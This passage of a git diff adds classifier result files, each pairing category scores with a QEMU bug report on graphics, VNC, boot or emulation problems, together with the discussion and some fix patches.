+Probably there is some compiler optimisation which prevents qemu threads from receive shutdown signal or appropriate notification from another threads. + +The compiler version with which qemu is built: +```bash +% cc --version +Apple clang version 14.0.3 (clang-1403.0.22.14.1) +Target: arm64-apple-darwin22.4.0 +Thread model: posix +InstalledDir: /Library/Developer/CommandLineTools/usr/bin +``` diff --git a/results/classifier/108/graphic/1665789 b/results/classifier/108/graphic/1665789 new file mode 100644 index 000000000..13716ba4d --- /dev/null +++ b/results/classifier/108/graphic/1665789 @@ -0,0 +1,30 @@ +graphic: 0.967 +device: 0.806 +socket: 0.764 +network: 0.729 +other: 0.724 +vnc: 0.721 +boot: 0.615 +performance: 0.570 +files: 0.547 +KVM: 0.545 +semantic: 0.537 +PID: 0.522 +permissions: 0.360 +debug: 0.342 + +More resolutions for vga displays + +Would it be possible to add more resolutions for vga displays (which I am accessing via vnc instead of spice)? In particular: + +- 1080 wide x 1920 high (rotate 1920 x 1080 screen) + +- 1920 wide x 1080 + 1980 high (1920 x 1080 screen on top of 1600 x 900 screen) + +I noticed that we have multiple tickets for more resolutions opened. Let's consolidate all in https://bugs.launchpad.net/qemu/+bug/1022023 and close this one here as duplicate. + + +This is an automated cleanup. This bug report got closed because it +is a duplicate. + + diff --git a/results/classifier/108/graphic/1665791 b/results/classifier/108/graphic/1665791 new file mode 100644 index 000000000..bf297f7b2 --- /dev/null +++ b/results/classifier/108/graphic/1665791 @@ -0,0 +1,21 @@ +graphic: 0.964 +semantic: 0.854 +device: 0.767 +other: 0.739 +vnc: 0.714 +network: 0.602 +performance: 0.534 +permissions: 0.269 +boot: 0.265 +socket: 0.216 +debug: 0.171 +PID: 0.146 +files: 0.066 +KVM: 0.044 + +Multiple displays each attached to a separate vnc connection + +Would it be possible to create two displays in qemu (for windows 10) with each accessible by a separate vnc connection? I think this already exists for spice (and I would like it because vnc works better for me than does spice) + +Questions like this are better directed to the mailing list. Please email <email address hidden> and/or <email address hidden>. Thanks! + diff --git a/results/classifier/108/graphic/1667613 b/results/classifier/108/graphic/1667613 new file mode 100644 index 000000000..499144bdf --- /dev/null +++ b/results/classifier/108/graphic/1667613 @@ -0,0 +1,34 @@ +graphic: 0.971 +device: 0.896 +semantic: 0.782 +PID: 0.703 +performance: 0.633 +other: 0.581 +vnc: 0.439 +network: 0.409 +boot: 0.390 +debug: 0.383 +socket: 0.320 +permissions: 0.307 +KVM: 0.263 +files: 0.111 + +Qemu 2.8 on PPC64 issue with input + +Hi devs, +on my PPC64 machine if i start qemu with gtk,gl=on or with sdl,gl=on i have issue with pointer and keyboard. pratically not input at all. +This issue is present in tgc and in kvm + +without gl=on option in kvm with mate as guest i have the input device work in the beginning but after some time the usb goes "unplugged" (i see this message on the serial log of qemu usb unplugged) and the keyboard and mouse dont work. + +On Debian jessie kvm i dont have input working at all. + +my machine is a G5 quad with Fedora 25 PPC64 + +thanks +Luigi + +Looking through old bug tickets... is this still an issue with the latest version of QEMU? Or could we close this ticket nowadays? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/108/graphic/1676 b/results/classifier/108/graphic/1676 new file mode 100644 index 000000000..955ac72b2 --- /dev/null +++ b/results/classifier/108/graphic/1676 @@ -0,0 +1,22 @@ +graphic: 0.951 +device: 0.918 +other: 0.905 +network: 0.828 +semantic: 0.803 +socket: 0.698 +files: 0.681 +performance: 0.658 +PID: 0.606 +vnc: 0.600 +boot: 0.583 +permissions: 0.583 +debug: 0.524 +KVM: 0.238 + +Signed release tarball for 8.0.2 is missing +Description of problem: +Hi! I package QEMU for Arch Linux. I usually rely on the signed tarballs (which are also linked to from the website). +For [8.0.2](https://gitlab.com/qemu-project/qemu/-/tags/v8.0.2) there does not seem to be a signed tarball though. +Steps to reproduce: +1. Try to update to 8.0.2 using a signed tarball +2. Find no signed tarball in https://download.qemu.org/ diff --git a/results/classifier/108/graphic/1678 b/results/classifier/108/graphic/1678 new file mode 100644 index 000000000..8f3a1214b --- /dev/null +++ b/results/classifier/108/graphic/1678 @@ -0,0 +1,23 @@ +graphic: 0.984 +device: 0.876 +PID: 0.738 +files: 0.702 +permissions: 0.670 +semantic: 0.666 +vnc: 0.607 +network: 0.579 +other: 0.561 +socket: 0.561 +boot: 0.539 +performance: 0.539 +debug: 0.424 +KVM: 0.095 + +Running Qemu on windows arm64 host, and use qemu-system-x86_64 to emulate an ubuntu OS, but it didn't work. +Description of problem: +Running QemuV8.0 on windows arm64 host, and use qemu-system-x86_64 to emulate an ubuntu OS, but it didn't work. +Steps to reproduce: +1.qemu-img.exe create hdd.img 10G +2.qemu-system-x86_64.exe -m 8096 hdd.img -cdrom ubuntu22.04-desktop-amd64.iso -machine pc +Additional information: +both Use qemu v8.0 and qemu v8.1 to test, but failed also diff --git a/results/classifier/108/graphic/1679 b/results/classifier/108/graphic/1679 new file mode 100644 index 000000000..8f076bb4a --- /dev/null +++ b/results/classifier/108/graphic/1679 @@ -0,0 +1,30 @@ +graphic: 0.978 +device: 0.805 +semantic: 0.644 +PID: 0.498 +permissions: 0.458 +debug: 0.430 +files: 0.418 +performance: 0.408 +vnc: 0.386 +boot: 0.385 +network: 0.300 +socket: 0.284 +other: 0.237 +KVM: 0.031 + +Running Qemu on windows arm64 host, and use qemu-system-x86_64 to emulate an ubuntu OS, but it didn't work.Enter the issue title +Description of problem: +Running QemuV8.0 on windows arm64 host, and use qemu-system-x86_64 to emulate an ubuntu OS, but it didn't work. +Steps to reproduce: +1.qemu-img.exe create hdd.img 10G + +2.qemu-system-x86_64.exe -m 8096 hdd.img -cdrom ubuntu22.04-desktop-amd64.iso -machine pc +Additional information: +both Use qemu v8.0 and qemu v8.1 to test, but failed also + + + +Thanks, + +Jianbin diff --git a/results/classifier/108/graphic/1681 b/results/classifier/108/graphic/1681 new file mode 100644 index 000000000..b6545434c --- /dev/null +++ b/results/classifier/108/graphic/1681 @@ -0,0 +1,64 @@ +graphic: 0.936 +other: 0.931 +permissions: 0.930 +debug: 0.908 +device: 0.889 +KVM: 0.887 +vnc: 0.883 +performance: 0.876 +PID: 0.868 +semantic: 0.852 +network: 0.812 +files: 0.800 +socket: 0.796 +boot: 0.773 + +watchdog: BUG: soft lockup - CPU#N stuck for XXs! +Description of problem: +Repeatedly seeing Qemu VMs locking up with guest Linux kernel reporting: +"watchdog: BUG: soft lockup - CPU#<N> stuck for <XX>s!" +e.g.: "watchdog: BUG: soft lockup - CPU#5 stuck for 26s! [swapper/5:0]" + +When the guest VM is in this condition, the host Linux OS reports that the Qemu process is typically running steadily at ~250% CPU. +Steps to reproduce: +1. Windows 10 on an x64 PC (right on the metal). +2. VMWare Workstation running Fedora Workstation 38 x64 guest, in turn acting as host with nested virtualization. +3. Qemu 7.2.1 running on Fedora host with Fedora Server 38 x64 guest. +4. Invoke Qemu using F38 QCow2 image: `$ qemu-system-x86_64 -machine pc -cpu max -smp 8 -accel kvm -accel hvf -accel tcg -m 3G -nographic -hda Client.qcow2 -nic socket,model=virtio-net-pci,mcast=239.1.2.3:4567,mac=4a:e0:72:85:c0:fb -nic user,model=virtio-net-pci,mac=4a:e0:d8:cd:a5:e6,hostfwd=tcp:127.0.0.1:2288-:22` +5. Not necessarily right away, but pretty consistently if left running overnight, guest Linux kernel repeatedly reports CPU(s) stuck, guest VM is unresponsive +6. Host Linux `top` reports Qemu process using ~250% CPU. +Additional information: +Console log attached, small sample here: + +``` +[ 181.101152] watchdog: BUG: soft lockup - CPU#5 stuck for 26s! [swapper/5:0] +[ 181.145578] Modules linked in: nft_fib_inet nft_fib_ipv4 nft_fib_ipv6 nft_fib nft_reject_inet nfg +[ 181.145578] CPU: 5 PID: 0 Comm: swapper/5 Not tainted 6.2.9-300.fc38.x86_64 #1 +[ 181.145578] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.2-1.fc38 04/01/2014 +[ 181.145578] RIP: 0010:netif_receive_skb_list_internal+0x58/0x300 +[ 181.145578] Code: 4c 89 74 24 08 49 89 ec 4c 89 74 24 10 4c 8b 6d 00 48 39 ef 75 14 eb 7c 49 8b 8 +[ 181.145578] RSP: 0018:ff5a086d401b8da8 EFLAGS: 00000202 +[ 181.145578] RAX: 0000000000000000 RBX: ff2d02b1b404c910 RCX: 0000000000000100 +[ 181.145578] RDX: 0000000000000000 RSI: 0000000000000001 RDI: ff2d02b1b404c910 +[ 181.145578] RBP: ff2d02b18998a600 R08: 0000000000000001 R09: ff2d02b188bd5d00 +[ 181.145578] R10: 000000000000000c R11: ffa7ad3980175000 R12: ff2d02b18998a600 +[ 181.145578] R13: ff2d02b1b404c910 R14: ff5a086d401b8db0 R15: ff2d02b1882d19c0 +[ 181.145578] FS: 0000000000000000(0000) GS:ff2d02b23cb40000(0000) knlGS:0000000000000000 +[ 181.145578] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 +[ 181.145578] CR2: 00007f232000f0d8 CR3: 0000000027010000 CR4: 0000000000751ee0 +[ 181.145578] PKRU: 55555554 +[ 181.145578] Call Trace: +[ 181.145578] <IRQ> +[ 181.145578] napi_complete_done+0x6e/0x1a0 +[ 181.145578] virtnet_poll+0x420/0x550 [virtio_net] +[ 181.145578] __napi_poll+0x2b/0x1b0 +[ 181.145578] net_rx_action+0x2a5/0x360 +[ 181.145578] ? vp_vring_interrupt+0x73/0x90 +[ 181.145578] __do_softirq+0xfd/0x31a +[ 181.145578] __irq_exit_rcu+0xd7/0x140 +[ 181.145578] common_interrupt+0xb9/0xd0 +[ 181.145578] </IRQ> +[ 181.145578] <TASK> +[ 181.145578] asm_common_interrupt+0x22/0x40 +[ 181.145578] RIP: 0010:native_safe_halt+0xb/0x10 +``` diff --git a/results/classifier/108/graphic/1695 b/results/classifier/108/graphic/1695 new file mode 100644 index 000000000..c5bd3c64b --- /dev/null +++ b/results/classifier/108/graphic/1695 @@ -0,0 +1,26 @@ +graphic: 0.986 +device: 0.834 +vnc: 0.784 +network: 0.780 +semantic: 0.738 +permissions: 0.704 +performance: 0.679 +files: 0.669 +debug: 0.659 +socket: 0.656 +PID: 0.583 +KVM: 0.550 +other: 0.504 +boot: 0.404 + +Latest Windows MSI does not include libssp-0.dll +Description of problem: +The latest Qemu MSI installer for Windows (https://qemu.weilnetz.de/w64/2023/qemu-w64-setup-20230530.exe) does not include libssp-0.dll, which is why the executables fail to run. + +This Mingw library should be included when building the MSI if stack protection is enabled. +Steps to reproduce: +1. Install the latest qemu MSI +2. Try to invoke any qemu command +3. Use Dependency Walker to easily find missing dependencies (https://www.dependencywalker.com/) +Additional information: + diff --git a/results/classifier/108/graphic/1698574 b/results/classifier/108/graphic/1698574 new file mode 100644 index 000000000..a7b048ec1 --- /dev/null +++ b/results/classifier/108/graphic/1698574 @@ -0,0 +1,77 @@ +graphic: 0.927 +permissions: 0.924 +performance: 0.920 +semantic: 0.919 +debug: 0.916 +other: 0.911 +device: 0.910 +boot: 0.909 +PID: 0.891 +socket: 0.878 +KVM: 0.878 +network: 0.877 +vnc: 0.877 +files: 0.849 + +slow boot windows 7 + +Hello, +I have a nice working qemu with gpu passthrough setup. +I pass through my nvidia gtx 880m. +It boots in 4mins 18secs. + +If I remove the "-vga none" switch and allow qemu to create a vga adapter I can boot in 1min. + +Why does a normal boot with the nvidia card hang for 3mins (yes, the hd light just flickers for that long)? + +Nothing major but I'd like to know, especially if it can be fixed. + +I cannot leave -vga none turned on as the vga adapter grabs up resources and the nvidia card complains it cannot start due to lack of resources. I'd love to just add resources if possible and keep both cards running to get the 1min boot time. + +Here is my script: + +qemu-system-x86_64 -machine type=q35,accel=kvm -cpu host,kvm=off \ +-smp 8,sockets=1,cores=4,threads=2 \ +-bios /usr/share/seabios/bios.bin \ +-serial none \ +-parallel none \ +-vga none \ +-m 7G \ +-mem-prealloc \ +-balloon none \ +-rtc clock=host,base=localtime \ +-device ioh3420,bus=pcie.0,addr=1c.0,multifunction=on,port=1,chassis=1,id=root.1 \ +-device vfio-pci,host=01:00.0,bus=root.1,addr=00.0,multifunction=on,x-vga=on \ +-device virtio-scsi-pci,id=scsi \ +-drive id=disk0,if=virtio,cache=none,format=raw,file=/home/bob/qemu/windows7.img \ +-drive file=/home/bob/qemu/qemu2/virtio-win-0.1.126.iso,id=isocd,format=raw,if=none -device scsi-cd,drive=isocd \ +-netdev type=tap,id=net0,ifname=tap0 \ +-device virtio-net-pci,netdev=net0,mac=00:16:3e:00:01:01 \ +-usbdevice host:413c:a503 \ +-usbdevice host:13fe:3100 \ +-usbdevice host:0bc2:ab21 \ +-boot menu=on \ +-boot order=c + + + +Here are my specs: + +System: Host: MSI-GT70-2PE Kernel: 4.8.0-51-generic x86_64 (64 bit gcc: 5.4.0) + Desktop: Cinnamon 3.2.7 (Gtk 3.18.9) Distro: Linux Mint 18.1 Serena +Machine: Mobo: Micro-Star model: MS-1763 v: REV:0.C Bios: American Megatrends v: E1763IMS.51B date: 01/29/2015 +CPU: Quad core Intel Core i7-4810MQ (-HT-MCP-) cache: 6144 KB + flags: (lm nx sse sse2 sse3 sse4_1 sse4_2 ssse3 vmx) bmips: 22348 + clock speeds: max: 2801 MHz 1: 2801 MHz 2: 800 MHz 3: 900 MHz 4: 900 MHz 5: 900 MHz 6: 1700 MHz + 7: 800 MHz 8: 900 MHz +Graphics: Card-1: Intel 4th Gen Core Processor Integrated Graphics Controller bus-ID: 00:02.0 + Card-2: NVIDIA GK104M [GeForce GTX 880M] bus-ID: 01:00.0 + Display Server: X.Org 1.18.4 driver: nvidia Resolution: 1920x1080@60.00hz + GLX Renderer: GeForce GTX 880M/PCIe/SSE2 GLX Version: 4.5.0 NVIDIA 375.66 +Direct Rendering: Yes + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Thank you and sorry for the inconvenience. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/108/graphic/1701 b/results/classifier/108/graphic/1701 new file mode 100644 index 000000000..132f7e4c7 --- /dev/null +++ b/results/classifier/108/graphic/1701 @@ -0,0 +1,20 @@ +graphic: 0.948 +boot: 0.910 +device: 0.910 +semantic: 0.800 +vnc: 0.777 +other: 0.438 +performance: 0.436 +debug: 0.432 +KVM: 0.330 +files: 0.271 +network: 0.258 +PID: 0.188 +socket: 0.119 +permissions: 0.075 + +-boot menu=on that vm is hangs +Description of problem: +virtual machine hangs, stop at press ESC for boot menu. +Additional information: + diff --git a/results/classifier/108/graphic/1701835 b/results/classifier/108/graphic/1701835 new file mode 100644 index 000000000..6c2c54252 --- /dev/null +++ b/results/classifier/108/graphic/1701835 @@ -0,0 +1,282 @@ +graphic: 0.968 +permissions: 0.945 +other: 0.941 +debug: 0.931 +performance: 0.918 +socket: 0.916 +files: 0.910 +semantic: 0.909 +device: 0.908 +boot: 0.898 +PID: 0.894 +vnc: 0.856 +KVM: 0.854 +network: 0.838 + +floating-point operation bugs in qemu-alpha + +When running the gnulib testsuite, I'm seeing test failures in the tests for libm functions + cbrt + cbrtf + ceil + ceilf + coshf + exp2 + exp2f + floor + floorf + fma + fmaf + fmal + frexp + frexpf + hypot + hypotf + hypotl + ilogb + ilogbf + isfinite + isinf + isnan + isnand + isnanf + ldexp + ldexpf + ldexpl + log1p + log1pf + log2 + log2f + logb + logbf + logbl + rint + rintf + rintl + signbit + sqrt + sqrtf + strtod +that I don't see when running the same (statically linked) executables in a VM, through qemu-system-alpha. + +How to reproduce: +- Using gnulib, run ./gnulib-tool --create-testdir --dir=../testdir-math --single-configure cbrt cbrtf ceil ceilf coshf exp2 exp2f float floor floorf fma fmaf fmal frexp frexpf hypot hypotf hypotl ilogb ilogbf isfinite isinf isnan isnand isnanf ldexp ldexpf ldexpl log1p log1pf log2 log2f logb logbf logbl math printf-frexp rint rintf rintl round roundf signbit sqrt sqrtf strtod trunc truncf +- Copy the resulting directory to a VM running Linux 2.6.26 with qemu-system-alpha. +- There, configure and build the package: + mkdir build-native-static; cd build-native-static; ../configure CPPFLAGS="-Wall" LDFLAGS="-static"; make; make check + Only 4 tests fail. +- Copy the resulting binaries back to the original x86_64 machine. +- Set environment variables for using qemu-alpha. +- Here, 50 tests fail that did not fail originally: + +$ ~/inst-qemu/2.9.0/bin/qemu-alpha test-cbrt +../../gltests/test-cbrt.h:39: assertion 'err > - L_(4.0) * L_(16.0) / TWO_MANT_DIG && err < L_(4.0) * L_(16.0) / TWO_MANT_DIG' failed +Aborted (core dumped) +$ ~/inst-qemu/2.9.0/bin/qemu-alpha test-ceil1 +Floating point exception (core dumped) +$ ~/inst-qemu/2.9.0/bin/qemu-alpha test-ceil2 +Floating point exception (core dumped) +$ ~/inst-qemu/2.9.0/bin/qemu-alpha test-ceilf1 +Floating point exception (core dumped) +$ ~/inst-qemu/2.9.0/bin/qemu-alpha test-ceilf2 +Floating point exception (core dumped) +$ ~/inst-qemu/2.9.0/bin/qemu-alpha test-coshf +../../gltests/test-coshf.c:37: assertion 'y >= 1.1854652f && y <= 1.1854653f' failed +Aborted (core dumped) +$ ~/inst-qemu/2.9.0/bin/qemu-alpha test-float +Floating point exception (core dumped) +$ ~/inst-qemu/2.9.0/bin/qemu-alpha test-floor1 +Floating point exception (core dumped) +$ ~/inst-qemu/2.9.0/bin/qemu-alpha test-floor2 +Floating point exception (core dumped) +$ ~/inst-qemu/2.9.0/bin/qemu-alpha test-floorf1 +Floating point exception (core dumped) +$ ~/inst-qemu/2.9.0/bin/qemu-alpha test-floorf2 +Floating point exception (core dumped) +$ ~/inst-qemu/2.9.0/bin/qemu-alpha test-fma1 +Floating point exception (core dumped) +$ ~/inst-qemu/2.9.0/bin/qemu-alpha test-fma2 +../../gltests/test-fma2.h:116: assertion 'result == expected' failed +Aborted (core dumped) +$ ~/inst-qemu/2.9.0/bin/qemu-alpha test-fmaf1 +Floating point exception (core dumped) +$ ~/inst-qemu/2.9.0/bin/qemu-alpha test-fmaf2 +../../gltests/test-fma2.h:116: assertion 'result == expected' failed +Aborted (core dumped) +$ ~/inst-qemu/2.9.0/bin/qemu-alpha test-fmal2 +../../gltests/test-fma2.h:116: assertion 'result == expected' failed +Aborted (core dumped) +$ ~/inst-qemu/2.9.0/bin/qemu-alpha test-frexp +Floating point exception (core dumped) +$ ~/inst-qemu/2.9.0/bin/qemu-alpha test-frexpf +Floating point exception (core dumped) +$ ~/inst-qemu/2.9.0/bin/qemu-alpha test-hypot +Floating point exception (core dumped) +$ ~/inst-qemu/2.9.0/bin/qemu-alpha test-hypotf +Floating point exception (core dumped) +$ ~/inst-qemu/2.9.0/bin/qemu-alpha test-hypotl +../../gltests/test-hypot.h:41: assertion 'z == HUGEVAL' failed +Aborted (core dumped) +$ ~/inst-qemu/2.9.0/bin/qemu-alpha test-ilogb +Floating point exception (core dumped) +$ ~/inst-qemu/2.9.0/bin/qemu-alpha test-ilogbf +Floating point exception (core dumped) +$ ~/inst-qemu/2.9.0/bin/qemu-alpha test-isfinite +Floating point exception (core dumped) +$ ~/inst-qemu/2.9.0/bin/qemu-alpha test-isinf +Floating point exception (core dumped) +$ ~/inst-qemu/2.9.0/bin/qemu-alpha test-isnan +Floating point exception (core dumped) +$ ~/inst-qemu/2.9.0/bin/qemu-alpha test-isnand-nolibm +Floating point exception (core dumped) +$ ~/inst-qemu/2.9.0/bin/qemu-alpha test-isnand +Floating point exception (core dumped) +$ ~/inst-qemu/2.9.0/bin/qemu-alpha test-isnanf-nolibm +Floating point exception (core dumped) +$ ~/inst-qemu/2.9.0/bin/qemu-alpha test-isnanf +Floating point exception (core dumped) +$ ~/inst-qemu/2.9.0/bin/qemu-alpha test-ldexp +Floating point exception (core dumped) +$ ~/inst-qemu/2.9.0/bin/qemu-alpha test-ldexpf +Floating point exception (core dumped) +$ ~/inst-qemu/2.9.0/bin/qemu-alpha test-ldexpl +../../gltests/test-ldexp.h:99: assertion 'y == expected' failed +Aborted (core dumped) +$ ~/inst-qemu/2.9.0/bin/qemu-alpha test-log1p +Floating point exception (core dumped) +$ ~/inst-qemu/2.9.0/bin/qemu-alpha test-log1pf +Floating point exception (core dumped) +$ ~/inst-qemu/2.9.0/bin/qemu-alpha test-log2 +Floating point exception (core dumped) +$ ~/inst-qemu/2.9.0/bin/qemu-alpha test-log2f +Floating point exception (core dumped) +$ ~/inst-qemu/2.9.0/bin/qemu-alpha test-logb +Floating point exception (core dumped) +$ ~/inst-qemu/2.9.0/bin/qemu-alpha test-logbf +Floating point exception (core dumped) +$ ~/inst-qemu/2.9.0/bin/qemu-alpha test-math +Floating point exception (core dumped) +$ ~/inst-qemu/2.9.0/bin/qemu-alpha test-printf-frexp +Floating point exception (core dumped) +$ ~/inst-qemu/2.9.0/bin/qemu-alpha test-rint +../../gltests/test-rint.c:63: assertion 'rint (0.7) == 1.0' failed +Aborted (core dumped) +$ ~/inst-qemu/2.9.0/bin/qemu-alpha test-rintf +../../gltests/test-rintf.c:63: assertion 'rintf (0.7f) == 1.0f' failed +Aborted (core dumped) +$ ~/inst-qemu/2.9.0/bin/qemu-alpha test-rintl +../../gltests/test-rintl.c:68: assertion 'rintl (0.7L) == 1.0L' failed +Aborted (core dumped) +$ ~/inst-qemu/2.9.0/bin/qemu-alpha test-round1 +Floating point exception (core dumped) +$ ~/inst-qemu/2.9.0/bin/qemu-alpha test-roundf1 +Floating point exception (core dumped) +$ ~/inst-qemu/2.9.0/bin/qemu-alpha test-signbit +Floating point exception (core dumped) +$ ~/inst-qemu/2.9.0/bin/qemu-alpha test-sqrt +../../gltests/test-sqrt.h:40: assertion 'err > - L_(16.0) / TWO_MANT_DIG && err < L_(16.0) / TWO_MANT_DIG' failed +Aborted (core dumped) +$ ~/inst-qemu/2.9.0/bin/qemu-alpha test-trunc1 +Floating point exception (core dumped) +$ ~/inst-qemu/2.9.0/bin/qemu-alpha test-truncf1 +Floating point exception (core dumped) + + + +The behaviour in qemu-2.11 is the same as in qemu-2.9. + +This is likely expected/correct behavior. You should try building with -mieee. + +> You should try building with -mieee. + +When I build with +../configure CFLAGS="-mieee -O2 -g" CPPFLAGS=-Wall LDFLAGS="-static -lieee" +I observe the exact same behaviour: Only 4 tests fail in a VM executed with qemu-system-alpha, whereas the same test failures (from test-cbrt to test-truncf1) are seen with qemu-alpha. + +Most likely some bits are initialized differently in the FPCR. + +Run this: + +#include <stdio.h> +#include <string.h> + +double get_fpcr() +{ + double x; + asm ("mf_fpcr %0": "=f" (x)); + return x; +} + +int main() +{ + double fpcr = get_fpcr(); + unsigned long l; + memcpy(&l, &fpcr, 8); + printf("%016lx\n", l); + return 0; +} + +Under qemu-system-alpha I get 680e800000000000. + +Under qemu-system-alpha I get 680e800000000000 as well. + +Under qemu-alpha (versions 2.8.1, 2.9.0, 2.10.0, 2.11.0, 2.12.0, 3.1.0) I get 600e800000000000, i.e. bit 59 is unset. + +https://download.majix.org/dec/alpha_arch_ref.pdf + +The bits are defined in 4.7.8 Floating-Point Control Register (FPCR). 59/58 zero is chopped rounding. This does not seem like a good default. + +The fpcr value seen in a process running in a VM comes from the Linux kernel, file linux/arch/alpha/kernel/process.c, function flush_thread(): + + /* Arrange for each exec'ed process to start off with a clean slate + with respect to the FPU. This is all exceptions disabled. */ + current_thread_info()->ieee_state = 0; + wrfpcr(FPCR_DYN_NORMAL | ieee_swcr_to_fpcr(0)); + +where FPCR_DYN_NORMAL is 0x2UL << 58 /* towards nearest */ + +Where do we go from here? As far as I understand, qemu-alpha ought to initialize the DYN bits to FPCR_DYN_NORMAL. Where in the code should this be done? I see code in target/alpha/cpu.c, function alpha_cpu_initfn, that initializes the DYN bits to FPCR_DYN_NORMAL. Is this at the wrong place? Is it insufficient for another reason? + +Should be fixed by: + +http://lists.nongnu.org/archive/html/qemu-devel/2019-01/msg00726.html + +No, it is not fixed: even with this patch the program that fetches the fpcr still prints 600e800000000000, and the various program crashes still occur. + +Commit https://git.qemu.org/?p=qemu.git;a=commitdiff;h=29eb528078683 claims that this has been fixed. Is the problem still reproducible with QEMU 4.0? + +The problem is still reproducible with QEMU 4.0.0: +- The test programs test-cbrt ... test-truncf1 crash or abort as described. +- The test program from comment #6, run with qemu-alpha, prints 600e800000000000, i.e. bit 59 is unset. + +There seems to be more confusion of the sort. This fixes it for me: + +--- a/linux-user/syscall.c ++++ b/linux-user/syscall.c +@@ -10226,7 +10226,7 @@ static abi_long do_syscall1(void *cpu_env, int num, abi_long arg1, + return -TARGET_EFAULT; + } + orig_fpcr = cpu_alpha_load_fpcr(cpu_env); +- fpcr = orig_fpcr & FPCR_DYN_MASK; ++ fpcr = orig_fpcr & ((uint64_t) FPCR_DYN_MASK << 32); + + /* Copied from linux ieee_swcr_to_fpcr. */ + fpcr |= (swcr & SWCR_STATUS_MASK) << 35; + +But I would consider this a workaround at best. Having a right-shifted mask in the first place seems rather unhelpful to me. + +There is quite a bit missing for proper user-level emulation. +Please try + +https://patchwork.ozlabs.org/patch/1091847/ + +The patch mentioned in #15 fixes the issue: +- The test programs test-cbrt ... test-truncf1 now all succeed. +- The test program from comment #6, run with qemu-alpha, prints 680e800000000000, i.e. bit 59 is set. + +Thanks Richard!! + +Patch now merged to master and will be in QEMU 4.1. + +https://git.qemu.org/?p=qemu.git;a=commitdiff;h=21ba856499f9c0ccdc + diff --git a/results/classifier/108/graphic/1702 b/results/classifier/108/graphic/1702 new file mode 100644 index 000000000..a9d8a33a4 --- /dev/null +++ b/results/classifier/108/graphic/1702 @@ -0,0 +1,23 @@ +graphic: 0.933 +boot: 0.852 +device: 0.776 +performance: 0.740 +semantic: 0.709 +files: 0.389 +debug: 0.320 +network: 0.138 +PID: 0.108 +vnc: 0.092 +KVM: 0.080 +permissions: 0.044 +socket: 0.044 +other: 0.016 + +Enable whpx acceleration, unable to start Linux system +Description of problem: +The accel=whpx parameter stops responding in the boot menu. + +The accel=whpx,kernel-irqchip=off parameter stops responding during startup +Additional information: + + diff --git a/results/classifier/108/graphic/1703795 b/results/classifier/108/graphic/1703795 new file mode 100644 index 000000000..e5bfbc43e --- /dev/null +++ b/results/classifier/108/graphic/1703795 @@ -0,0 +1,81 @@ +graphic: 0.978 +other: 0.952 +device: 0.946 +socket: 0.945 +debug: 0.943 +semantic: 0.937 +performance: 0.929 +files: 0.927 +boot: 0.927 +vnc: 0.917 +network: 0.905 +PID: 0.903 +permissions: 0.900 +KVM: 0.887 + +Unable to release mouse in SDL2 mode + +Starting with commit 8f4ea9cd0b770dbe496d9d24f0ef8813fdbfe0d0 "sdl: prefer sdl2 over sdl1", I can no longer release mouse pointer grab unless I use --with-sdlabi=1.2 configure option. + +This easily reproduces in e.g. guest Kubuntu, when I let it start Xorg and then click into the QEMU window. After this the mouse is trapped and no matter how I combine Ctrl+Alt and motion of the cursor, the pointer never goes out from the window. When at the border, QEMU window switches from "Press Ctrl+Alt to exit grab" to "QEMU", i.e. it thinks that it has released the grab. But it hasn't really, so I have to go to VT1 and do "pkill qemu" from there to get my pointer back. + +Which version of SDL2 are you using? Could you please try to reproduce it with the latest version to see whether the problem has been fixed there? + +I'm using SDL2-2.0.5, which I believe is the latest already. + +I am seeing this on my system as well - the exact same symptoms. Has anyone investigated this problem? + +I'm also seeing this problem with -vga vmware in case that matters. + +Additionally 2ec78706d188df7d3dab43d07b19b05ef7800a44 also broke keyboard with SDL1 so that e.g. in a Windows password prompt backspace and enter just inserts chars instead of doing actions so now the workaround to avoid this bug (--with-sdlabi=1.2) is also unusable. + +Can you file a separate bug for the SDL1 backspace problem - it was not intended to cause problems like that. + +On Thu, 1 Feb 2018, Daniel Berrange wrote: +> Can you file a separate bug for the SDL1 backspace problem - it was not +> intended to cause problems like that. + +Unless you want it tracked in a bug I'm happy with a fix submitted to the +list eventually without being separately tracked on launchpad. I would've +reported this on the mailing list normally but since this is also relevant +here due to SDL2 also not uasable beacause of this bug I've commented +here so people affected by this know about both problems. + + +workaround: don't click into the guest window before the tablet driver loads. + +When qemu mouse mode changes from relative to absolute +we must turn off sdl relative mouse mode too. + +Fixes: https://bugs.launchpad.net/qemu/+bug/1703795 +Signed-off-by: Gerd Hoffmann <email address hidden> +--- + ui/sdl2.c | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/ui/sdl2.c b/ui/sdl2.c +index 812c315891..858e04d7c0 100644 +--- a/ui/sdl2.c ++++ b/ui/sdl2.c +@@ -249,6 +249,7 @@ static void sdl_mouse_mode_change(Notifier *notify, void *data) + if (qemu_input_is_absolute()) { + if (!absolute_enabled) { + absolute_enabled = 1; ++ SDL_SetRelativeMouseMode(SDL_FALSE); + absolute_mouse_grab(&sdl2_console[0]); + } + } else if (absolute_enabled) { +-- +2.9.3 + + + +I can confirm that the patch from comment #9 appears to fix the original problem. + +The patch works for me too. Thanks. + + + +Fix has been included here: +https://git.qemu.org/?p=qemu.git;a=commitdiff;h=8dfa3061ce56d871dc9df + diff --git a/results/classifier/108/graphic/1707 b/results/classifier/108/graphic/1707 new file mode 100644 index 000000000..814f483d7 --- /dev/null +++ b/results/classifier/108/graphic/1707 @@ -0,0 +1,38 @@ +graphic: 0.935 +files: 0.772 +device: 0.750 +semantic: 0.707 +PID: 0.698 +network: 0.686 +socket: 0.612 +performance: 0.610 +permissions: 0.510 +vnc: 0.460 +debug: 0.413 +boot: 0.339 +KVM: 0.303 +other: 0.282 + +linux-user qemu-x86_64 can't exec a binary on aarch64 or Loongarch. +Description of problem: +on master branch, we build an simply hello.c with x86_cross gcc. +then. run './build/qemu-x86_64 hello', no output. +Steps to reproduce: +1. build an hello.c with x86_64 cross. use --static. +2. build qemu-x86_64 on aarch64 or LoongArch host. +3. run './build/qemu-x86_64 hello' +Additional information: 